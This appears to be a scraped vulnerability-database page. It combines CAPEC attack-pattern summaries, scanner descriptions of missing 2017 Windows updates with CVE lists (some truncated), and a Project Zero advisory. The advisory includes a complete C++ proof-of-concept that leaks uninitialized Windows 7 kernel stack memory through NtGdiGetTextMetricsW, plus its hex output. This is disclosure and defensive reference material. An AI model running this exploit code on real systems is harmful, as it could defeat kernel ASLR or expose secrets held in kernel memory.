Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

"The remote Windows host is missing multiple security updates. It is,
therefore, affected by multiple vulnerabilities :

  - An information disclosure vulnerability exists when 
    affected Microsoft browsers improperly handle objects 
    in memory. An attacker who successfully exploited the 
    vulnerability could obtain information to further 
    compromise the user's system. (CVE-2016-3326)

  - An information disclosure vulnerability exists when 
    the Windows kernel improperly handles objects in memory. 
    An attacker who successfully exploited this vulnerability 
    could obtain information to further compromise the user's 
    system.(CVE-2017-0167)

  - An elevation of privilege vulnerability exists in
    Windows Hyper-V instruction emulation due to a failure
    to properly enforce privilege levels. An attacker on a
    guest operating system can exploit this to gain elevated
    privileges on the guest. Note that the host operating
    system is not vulnerable. (CVE-2017-0193)

  - A remote code execution vulnerability exists in
    Microsoft Office due to improper validation of
    user-supplied input before loading dynamic link library
    (DLL) files. An unauthenticated, remote attacker can
    exploit this, by convincing a user to open a specially
    crafted file, to execute arbitrary code in the context
    of the current user. (CVE-2017-0260)

  - Multiple information disclosure vulnerabilities exist in
    Windows Uniscribe due to improper handling of objects in
    memory. An unauthenticated, remote attacker can exploit
    these, by convincing a user to visit a specially crafted
    website or to open a specially crafted document file, to
    disclose the contents of memory. (CVE-2017-0282,
    CVE-2017-0284, CVE-2017-0285, CVE-2017-8534)

  - Multiple remote code execution vulnerabilities exist in
    Windows Uniscribe software due to improper handling of
    objects in memory. An unauthenticated, remote attacker
    can exploit these, by convincing a user to visit a
    specially crafted website or to open a specially crafted
    document file, to execute arbitrary code in the context
    of the current user. (CVE-2017-0283, CVE-2017-8528)

  - Multiple information disclosure vulnerabilities exist in
    the Windows GDI component due to improper handling of
    objects in memory. An unauthenticated, remote attacker
    can exploit these, by convincing a user to visit a
    specially crafted website or to open a specially crafted
    document file, to disclose the contents of memory.
    (CVE-2017-0287, CVE-2017-0288, CVE-2017-0289)

  - A remote code execution vulnerability exists in
    Microsoft Windows due to improper handling of cabinet
    files. An unauthenticated, remote attacker can exploit
    this, by convincing a user to open a specially crafted 
    cabinet file, to execute arbitrary code in the context
    of the current user. (CVE-2017-0294)

  - An elevation of privilege vulnerability exists in
    tdx.sys due to a failure to check the length of a buffer
    prior to copying memory to it. A local attacker can
    exploit this, via a specially crafted application, to
    execute arbitrary code in an elevated context.
    (CVE-2017-0296)

  - Multiple information disclosure vulnerabilities exist in
    the Windows kernel due to improper initialization of
    objects in memory. An authenticated, remote attacker can
    exploit these, via a specially crafted application, to
    disclose the base address of the kernel driver.
    (CVE-2017-0299, CVE-2017-0300, CVE-2017-8462,
    CVE-2017-8485)

  - A remote code execution vulnerability exists in Windows
    due to improper handling of shortcuts. An
    unauthenticated, remote attacker can exploit this, by
    convincing a user to insert a removable drive containing
    a malicious shortcut and binary, to automatically
    execute arbitrary code in the context of the current
    user. (CVE-2017-8464)

  - Multiple information disclosure vulnerabilities exist in
    the Windows kernel due to improper initialization of
    objects in memory. An authenticated, remote attacker can
    exploit these, via a specially crafted application, to
    disclose sensitive information. (CVE-2017-8469,
    CVE-2017-8470, CVE-2017-8471, CVE-2017-8472,

  - A remote code execution vulnerability exists in the way 
    JavaScript engines render when handling objects in memory 
    in Microsoft browsers. The vulnerability could corrupt 
    memory in such a way that an attacker could execute 
    arbitrary code in the context of the current user.
    (CVE-2017-8517)

  - A remote code execution vulnerability exists when Internet 
    Explorer improperly accesses objects in memory. This 
    vulnerability could corrupt memory in such a way that an 
    attacker could execute arbitrary code in the context of 
    the current user. (CVE-2017-8519)

  - A remote code execution vulnerability exists in the
    Windows font library due to improper handling of
    embedded fonts. An unauthenticated, remote attacker can
    exploit this, by convincing a user to visit a specially
    crafted website or open a specially crafted Microsoft
    document, to execute arbitrary code in the context of
    the current user. (CVE-2017-8527)

  - Multiple information disclosure vulnerabilities exist in
    the Windows GDI component due to improper handling of
    objects in memory. An unauthenticated, remote attacker
    can exploit these, by convincing a user to visit a
    specially crafted website or open a specially crafted

    descriptionThe remote Windows host is missing security update 4022722 or cumulative update 4022719. It is, therefore, affected by multiple vulnerabilities : - An elevation of privilege vulnerability exists in Windows Hyper-V instruction emulation due to a failure to properly enforce privilege levels. An attacker on a guest operating system can exploit this to gain elevated privileges on the guest. Note that the host operating system is not vulnerable. (CVE-2017-0193) - A remote code execution vulnerability exists in Microsoft Office due to improper validation of user-supplied input before loading dynamic link library (DLL) files. An unauthenticated, remote attacker can exploit this, by convincing a user to open a specially crafted file, to execute arbitrary code in the context of the current user. (CVE-2017-0260) - Multiple information disclosure vulnerabilities exist in Windows Uniscribe due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to disclose the contents of memory. (CVE-2017-0282, CVE-2017-0284, CVE-2017-0285, CVE-2017-8534) - Multiple remote code execution vulnerabilities exist in Windows Uniscribe software due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to execute arbitrary code in the context of the current user. (CVE-2017-0283, CVE-2017-8528) - Mutiple information disclosure vulnerabilities exist in the Windows GDI component due to improper handling of objects in memory. An unauthenticated, remote attacker can exploit these, by convincing a user to visit a specially crafted website or to open a specially crafted document file, to disclose the contents of memory.

descriptionWe have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other systems untested) through the win32k!NtGdiGetTextMetricsW system call. The output structure used by the syscall, according to various sources, is TMW_INTERNAL, which wraps the TEXTMETRICW and TMDIFF structures (see e.g. the PoC for [issue #480](https://bugs.chromium.org/p/project-zero/issues/detail?id=480) ). The disclosure occurs when the service is called against a Device Context with one of the stock fonts selected (we're using DEVICE_DEFAULT_FONT). Then, we can find 7 uninitialized kernel stack bytes at offsets 0x39-0x3f of the output buffer. An example output of the attached proof-of-concept program started on Windows 7 32-bit is as follows: ``` --- cut --- 00000000: 10 00 00 00 0d 00 00 00 03 00 00 00 03 00 00 00 ................ 00000010: 00 00 00 00 07 00 00 00 0f 00 00 00 bc 02 00 00 ................ 00000020: 00 00 00 00 60 00 00 00 60 00 00 00 20 00 22 21 ....`...`... ."! 00000030: ac 20 20 00 00 00 00 21 ee[03 81 ff 35 64 36 8f]. ....!....5d6. 00000040: 20 ff 80 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? .. ............ --- cut --- ``` Here, the leaked bytes are "03 81 ff 35 64 36 8f". If we map the 0x39-0x3f offsets to the layout of the TMW_INTERNAL structure, it turns out that the 7 bytes in question correspond to the 3 alignments bytes past the end of TEXTMETRICSW (which itself has an odd length of 57 bytes), and the first 4 bytes of the TMDIFF structure. Triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. GetTextMetrics.cpp ``` #include <Windows.h> #include <cstdio> // For native 32-bit execution. extern "C" ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { __asm{mov eax, ApiNumber}; __asm{lea edx, ApiNumber + 4}; __asm{int 0x2e}; } VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { // Windows 7 32-bit. CONST ULONG __NR_NtGdiGetTextMetricsW = 0x10d9; // Create a Device Context. HDC hdc = CreateCompatibleDC(NULL); // Get a handle to the stock font. HFONT hfont = (HFONT)GetStockObject(DEVICE_DEFAULT_FONT); if (hfont == NULL) { printf("GetCurrentObject failed\n"); return 1; } // Select the font into the DC. SelectObject(hdc, hfont); // Trigger the vulnerability and dump the kernel output on stdout. BYTE output[0x44] = { /* zero padding */ }; if (!SystemCall32(__NR_NtGdiGetTextMetricsW, hdc, output, sizeof(output))) { printf("NtGdiGetTextMetricsW failed\n"); DeleteObject(hfont); DeleteDC(hdc); return 1; } PrintHex(output, sizeof(output)); // Free resources. DeleteObject(hfont); DeleteDC(hdc); return 0; } ```
